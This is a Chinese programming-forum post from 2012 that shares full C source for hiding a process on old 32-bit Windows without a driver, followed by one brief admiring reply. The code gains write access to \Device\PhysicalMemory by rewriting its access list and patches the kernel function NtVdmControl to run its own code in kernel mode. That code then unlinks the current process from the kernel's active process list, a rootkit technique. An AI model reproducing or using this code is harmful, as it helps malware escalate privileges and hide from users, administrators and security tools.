看流星社区

 找回密码
 注册账号
查看: 2974|回复: 1

VC无驱动隐藏进程源码

[复制链接]

该用户从未签到

发表于 2012-2-22 14:33:46 | 显示全部楼层 |阅读模式
  1. #include <Windows.h>
  2. #include <winioctl.h>
  3. #include <winsvc.h>
  4. #include <stdlib.h>
  5. #include <stdio.h>
  6. #include <Aclapi.h>
  7. #include <Ntsecapi.h>
  8. #pragma comment (lib,"ntdll.lib")
  9. #pragma comment (lib,"Kernel32.lib")
  10. #pragma comment (lib,"Advapi32.lib")
  11. #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
  12. #define OBJ_KERNEL_HANDLE 0x00000200
  13. #define STATUS_NOT_IMPLEMENTED 0xC0000002
  14. #define STATUS_ACCESS_DENIED 0xC0000022
  15. //typedef unsigned long DWORD;
  16. #define STATUS_SUCCESS 0X00000000
  17. #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
  18. #define InitializeObjectAttributes(p,n,a,r,s){\
  19. (p)->Length=sizeof(OBJECT_ATTRIBUTES);\
  20. (p)->RootDirectory=r;\
  21. (p)->Attributes=a;\
  22. (p)->ObjectName=n;\
  23. (p)->SecurityDescriptor=s;\
  24. (p)->SecurityQualityOfService=NULL;\
  25. }
  26. NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection(IN HANDLE ProcessHandle,IN PVOID BaseAddress);
  27. NTSYSAPI NTSTATUS NTAPI ZwClose(IN HANDLE Handle);
  28. NTSYSAPI VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString,PCWSTR SourceString);
  29. NTSYSAPI NTSTATUS NTAPI NtVdmControl(IN ULONG ControlCode,IN PVOID ControlData);
  30. typedef enum _SECTION_INHERIT
  31. {
  32. ViewShare=1,
  33. ViewUnmap=2
  34. }SECTION_INHERIT;
  35. typedef struct _OBJECT_ATTRIBUTES {
  36. ULONG Length;
  37. HANDLE RootDirectory;
  38. PUNICODE_STRING ObjectName;
  39. ULONG Attributes;
  40. PVOID SecurityDescriptor;
  41. PVOID SecurityQualityOfService;
  42. } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

  43. typedef struct _SYSTEM_MODULE_INFORMATION
  44. {
  45. ULONG Reserved[2];
  46. PVOID Base;
  47. ULONG Size;
  48. ULONG Flags;
  49. USHORT Index;
  50. USHORT Unknown;
  51. USHORT LoadCount;
  52. USHORT ModuleNameOffset;
  53. CHAR ImageName[256];
  54. }SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
  55. NTSYSAPI
  56. NTSTATUS
  57. NTAPI
  58. ZwOpenSection(\
  59. OUT PHANDLE SectionHandle,\
  60. IN ACCESS_MASK DesiredAccess,\
  61. IN POBJECT_ATTRIBUTES ObjectAttributes\
  62. );
  63. BOOLEAN
  64. (NTAPI *pfnPsGetVersion)(
  65. PULONG MajorVersion OPTIONAL,
  66. PULONG MinorVersion OPTIONAL,
  67. PULONG BuildNumber OPTIONAL,
  68. PUNICODE_STRING CSDVersion OPTIONAL
  69. );
  70. HANDLE
  71. (NTAPI *pfnPsGetCurrentProcessId)(
  72. );
  73. HANDLE
  74. (NTAPI *pfnPsGetCurrentProcess)();
  75. NTSYSAPI
  76. NTSTATUS
  77. NTAPI
  78. ZwMapViewOfSection(
  79. IN HANDLE SectionHandle,
  80. IN HANDLE ProcessHandle,
  81. IN OUT PVOID *BaseAddress,
  82. IN ULONG ZeroBits,
  83. IN ULONG CommitSize,
  84. IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
  85. IN OUT PULONG ViewSize,
  86. IN SECTION_INHERIT InheritDisposition,
  87. IN ULONG AllocationType,
  88. IN ULONG Protect
  89. );


  90. NTSYSAPI
  91. NTSTATUS
  92. NTAPI
  93. ZwQuerySystemInformation(
  94. ULONG SystemInformationClass,
  95. PVOID SystemInformation,
  96. ULONG SystemInformationLength,
  97. PULONG ReturnLength
  98. );
  99. PVOID
  100. (NTAPI *pfnMemcpy)(
  101. IN VOID UNALIGNED *Destination,
  102. IN CONST VOID UNALIGNED *Source,
  103. IN SIZE_T Length
  104. );
  105. NTSTATUS
  106. (NTAPI *pfnNtVdmControl)(
  107. IN ULONG ControlCode,
  108. IN PVOID ControlData
  109. );
  110. ULONG
  111. (_cdecl *pfnDbgPrint)(
  112. IN PCHAR Format,
  113. ...
  114. );
  115. /*typedef struct _OBJECT_ATTRIBUTES
  116. {
  117. ULONG Length;
  118. HANDLE RootDirectory;
  119. PUNICODE_STRING ObjectName;
  120. ULONG Attributes;
  121. PVOID SecurityDescriptor;
  122. PVOID SecurityQualityOfService;
  123. } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
  124. */
  125. NTSTATUS Ring0Code(ULONG size,PULONG buffer)
  126. {
  127. DWORD eproc=0x00000000;
  128. ULONG BuildNumber;
  129. DWORD PIDOffset,ListOffset;
  130. int start_PID=0;
  131. PLIST_ENTRY plist_active_procs;
  132. PIDOffset=0x84;
  133. ListOffset=0x88;


  134. // LIST_ENTRY plist_active_procs;
  135. // PLIST_ENTRY plist_active_procs;//=NULL;
  136. eproc=(DWORD)pfnPsGetCurrentProcess();
  137. plist_active_procs=(LIST_ENTRY*)(eproc+ListOffset);
  138. *((DWORD*)plist_active_procs->Blink)=(DWORD)plist_active_procs->Flink;
  139. *((DWORD*)plist_active_procs->Flink+1)=(DWORD)plist_active_procs->Blink;
  140. //start_PID=*((DWORD*)(eproc+PIDOffset));
  141. //current_PID=start_PID;


  142. // pfnPsGetVersion(NULL,NULL,&BuildNumber,NULL);
  143. //PLIST_ENTRY ListHead,ListPtr;
  144. /* switch (BuildNumber) // 各版本OS的KPEB结构不同
  145. {
  146. case 2195: // Win2000
  147. // ListOffset = 0xa0;
  148. PIDOffset = 0x9c;
  149. // NameOffset = 0x1fc;
  150. break;
  151. case 2600: // WinXP
  152. // ListOffset = 0x88;
  153. PIDOffset = 0x84;
  154. // NameOffset = 0x174;
  155. break;
  156. case 3790: // Win2003
  157. // ListOffset = 0x88;
  158. PIDOffset = 0x84;
  159. // NameOffset = 0x154;
  160. break;
  161. default:
  162. return STATUS_NOT_IMPLEMENTED;
  163. }*/

  164. pfnDbgPrint("PIDOffset is %d\n",PIDOffset);
  165. //pfnDbgPrint("Enter Ring0\nmyprocess is %d\n",eproc);
  166. //pfnDbgPrint("Enter Ring0\BuildNumber is %d\n",BuildNumber);
  167. // ListOffset=0x88;
  168. return STATUS_SUCCESS;
  169. }
  170. /*
  171. HANDLE OpenPhysicalMemory()
  172. {
  173. DWORD dwRet;
  174. NTSTATUS status;
  175. UNICODE_STRING name;
  176. OBJECT_ATTRIBUTES oa;
  177. EXPLICIT_ACCESS ea;
  178. PSECURITY_DESCRIPTOR pSD;

  179. PACL pDacl=NULL;
  180. PACL pNewDacl=NULL;
  181. HANDLE hSection=NULL;
  182. HANDLE hSectionRet=NULL;
  183. RtlInitUnicodeString(&name,L"\\Device\\PhysicalMemory");
  184. InitializeObjectAttributes(&oa,&name,OBJ_KERNEL_HANDLE,NULL,NULL);

  185. status=ZwOpenSection(&hSectionRet,SECTION_MAP_READ|SECTION_MAP_WRITE,&oa);
  186. if(NT_SUCCESS(status))
  187. {
  188. printf("错误\n");
  189. return NULL;
  190. }

  191. dwRet=0;

  192. return NULL;
  193. }*/

  194. PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄
  195. ULONG Offset, // 映射起始偏移量,相对于物理内存的0地址
  196. ULONG CommitSize // 映射范围
  197. )
  198. {
  199. NTSTATUS status;
  200. PVOID BaseAddress = NULL;
  201. LARGE_INTEGER PhysicalAddress = {Offset, 0};
  202. SIZE_T ViewSize = CommitSize;

  203. status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,
  204. CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);
  205. if (!NT_SUCCESS(status))
  206. {
  207. printf("ZwMapViewOfSection Failed: %d\n", LsaNtStatusToWinError(status));
  208. return NULL;
  209. }

  210. return BaseAddress;
  211. }
  212. HANDLE OpenPhysicalMemory()
  213. {
  214. DWORD dwRet;
  215. NTSTATUS status;
  216. UNICODE_STRING name;
  217. OBJECT_ATTRIBUTES oa;
  218. EXPLICIT_ACCESS ea;
  219. PSECURITY_DESCRIPTOR pSD;
  220. PACL pDacl = NULL;
  221. PACL pNewDacl = NULL;
  222. HANDLE hSection = NULL;
  223. HANDLE hSectionRet = NULL;

  224. RtlInitUnicodeString(&name, L"\\Device\\PhysicalMemory");
  225. InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);

  226. // 以可读写Section权限打开PhysicalMemory
  227. status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);

  228. if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功,直接返回

  229. if (status != STATUS_ACCESS_DENIED)
  230. {
  231. // 错误,但非权限不足,打开失败
  232. printf("ZwOpenSection[0] Failed: %d\n", LsaNtStatusToWinError(status));
  233. hSectionRet = NULL;
  234. goto FreeAndExit;
  235. }

  236. // 以可读写ACL权限打开PhysicalMemory
  237. status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);
  238. if (!NT_SUCCESS(status))
  239. {
  240. printf("ZwOpenSection[1] Failed: %d\n", LsaNtStatusToWinError(status));
  241. goto FreeAndExit;
  242. }

  243. // 获取PhysicalMemory的DACL
  244. dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
  245. NULL, NULL, &pDacl, NULL, &pSD);
  246. if (dwRet != ERROR_SUCCESS)
  247. {
  248. printf("GetSecurityInfo Failed: %d\n", dwRet);
  249. goto FreeAndExit;
  250. }

  251. // 创建一个ACE,允许当前用户读写PhysicalMemory
  252. ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  253. ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;
  254. ea.grfAccessMode = GRANT_ACCESS;
  255. ea.grfInheritance = NO_INHERITANCE;
  256. ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  257. ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  258. ea.Trustee.ptstrName = "CURRENT_USER";

  259. // 将新的ACE加入DACL
  260. dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
  261. if (dwRet != ERROR_SUCCESS)
  262. {
  263. printf("SetEntriesInAcl Failed: %d\n", dwRet);
  264. goto FreeAndExit;
  265. }

  266. // 更新PhysicalMemory的DACL
  267. dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
  268. NULL, NULL, pNewDacl, NULL);
  269. if (dwRet != ERROR_SUCCESS)
  270. {
  271. printf("SetSecurityInfo Failed: %d\n", dwRet);
  272. goto FreeAndExit;
  273. }

  274. // 再次以可读写权限打开PhysicalMemory
  275. status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
  276. if (!NT_SUCCESS(status))
  277. {
  278. printf("ZwOpenSection[2] Failed: %d\n", LsaNtStatusToWinError(status));
  279. goto FreeAndExit;
  280. }

  281. FreeAndExit:
  282. if (pSD) LocalFree(pSD);
  283. if (pNewDacl) LocalFree(pNewDacl);
  284. if (hSection) ZwClose(hSection);
  285. return hSectionRet;
  286. }



  287. int main()
  288. {
  289. char OrigCode[12],HookCode[12]="\xE9\xDD\xDD\xDD\xDD\xB8\x01\x00\x00\xC0\xC3";
  290. NTSTATUS status;
  291. PVOID buffer=NULL;
  292. char Kernel[100],*mapping=NULL;
  293. HMODULE hKernel=NULL;
  294. HANDLE hSection=NULL;
  295. PVOID pBuffer,pModule,pKernel;
  296. PSYSTEM_MODULE_INFORMATION pmi;
  297. ULONG offset;
  298. int n,i;
  299. ULONG nRetSize;
  300. pBuffer=LocalAlloc(LPTR,0x1000);
  301. if(pBuffer==NULL)
  302. {
  303. printf("LocalAlloc failed\n");
  304. return 0;
  305. }
  306. status=ZwQuerySystemInformation(11,pBuffer,0x1000,&nRetSize);
  307. if (STATUS_INFO_LENGTH_MISMATCH == status)
  308. {
  309. LocalFree(pBuffer);
  310. pBuffer = LocalAlloc(LPTR, nRetSize);
  311. if (NULL == pBuffer)
  312. {
  313. printf("LocalAlloc[1] Failed: %d\n", GetLastError());
  314. return 0;
  315. }
  316. status = ZwQuerySystemInformation(11, pBuffer, nRetSize, &nRetSize);
  317. }
  318. pmi=(PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer+4);
  319. n=*(ULONG*)pBuffer;
  320. pModule=NULL;
  321. printf("n=%d\n");
  322. printf("Base= %0x\n",pmi->Base);
  323. pKernel=pmi->Base;
  324. if((ULONG)pmi->Base<0x80000000||(ULONG)pmi->Base>0x9fffffff)
  325. {
  326. printf("模块基址超出直接内存映射范围\n");
  327. return 0;
  328. }
  329. // for(i=0;i<n;i++)
  330. {
  331. // printf("%s\n",pmi->ImageName+pmi->ModuleNameOffset);
  332. // pmi++;
  333. }
  334. //strcpy(Kernel,(PCSTR)(pmi->ImageName+pmi->ModuleNameOffset));
  335. hKernel=LoadLibrary((PCSTR)(pmi->ImageName+pmi->ModuleNameOffset));
  336. // hKernel=LoadLibrary("ntkrnlpa.exe");
  337. if(NULL==hKernel)
  338. {
  339. printf("LoadLibrary Failed\n");
  340. return 0;
  341. }

  342. //hSection=OpenPhysicalMemory();
  343. if((pfnMemcpy=(PVOID)GetProcAddress(hKernel,"memcpy"))&&(pfnNtVdmControl=(PVOID)GetProcAddress(hKernel,"NtVdmControl"))&&(pfnDbgPrint=(PVOID)GetProcAddress(hKernel,"DbgPrint"))&&(pfnPsGetCurrentProcessId=(PVOID)GetProcAddress(hKernel,"PsGetCurrentProcessId"))&&(pfnPsGetVersion=(PVOID)GetProcAddress(hKernel,"PsGetVersion"))&&(pfnPsGetCurrentProcess=(PVOID)GetProcAddress(hKernel,"PsGetCurrentProcess")));
  344. else
  345. {
  346. printf("GetProcAddress failed\n");
  347. return 0;
  348. }
  349. offset=(ULONG)pKernel-(ULONG)hKernel;
  350. (ULONG)pfnMemcpy+=offset;
  351. (ULONG)pfnNtVdmControl+=offset;
  352. (ULONG)pfnDbgPrint+=offset;
  353. *(ULONG*)(HookCode+1)=(ULONG)Ring0Code-(ULONG)pfnNtVdmControl-5;
  354. hSection=OpenPhysicalMemory();
  355. if(hSection==NULL)
  356. {
  357. printf("set section failed\n");
  358. goto FreeAndExit;
  359. }

  360. offset=(ULONG)pfnNtVdmControl & 0x1FFFF000;

  361. mapping=MapPhysicalMemory(hSection,offset,0x2000);
  362. if(mapping==NULL)
  363. {
  364. printf("mapping failed\n");
  365. goto FreeAndExit;
  366. }

  367. offset=(ULONG)pfnNtVdmControl & 0x00000FFF;
  368. memcpy(OrigCode,mapping+offset,12);

  369. buffer=LocalAlloc(LPTR,0x4000);
  370. if(buffer==NULL)
  371. {
  372. printf("buffer failed\n");
  373. goto FreeAndExit;
  374. }

  375. memcpy(mapping+offset,HookCode,12);
  376. status=NtVdmControl(0x4000,buffer);
  377. memcpy(mapping+offset,OrigCode,12);

  378. if(!NT_SUCCESS(status))
  379. {
  380. printf("NtVdmControl failed\n");
  381. goto FreeAndExit;
  382. }
  383. // printf("pKernel=%0x hKernel=%0x offset=%0x pfnMemcpy=%0x pfnNtVdmControl=%0x\n",pKernel,hKernel,offset,pfnMemcpy,pfnNtVdmControl);


  384. FreeAndExit:
  385. if(buffer!=NULL)LocalFree(buffer);
  386. if(mapping!=NULL) ZwUnmapViewOfSection(hSection,mapping);
  387. if(hSection!=NULL) ZwClose(hSection);
  388. if(hKernel!=NULL) FreeLibrary(hKernel);
  389. while(1);

  390. return 0;
  391. }
复制代码

该用户从未签到

发表于 2012-3-25 23:04:46 | 显示全部楼层
高手真多呀
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-4-27 18:51

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表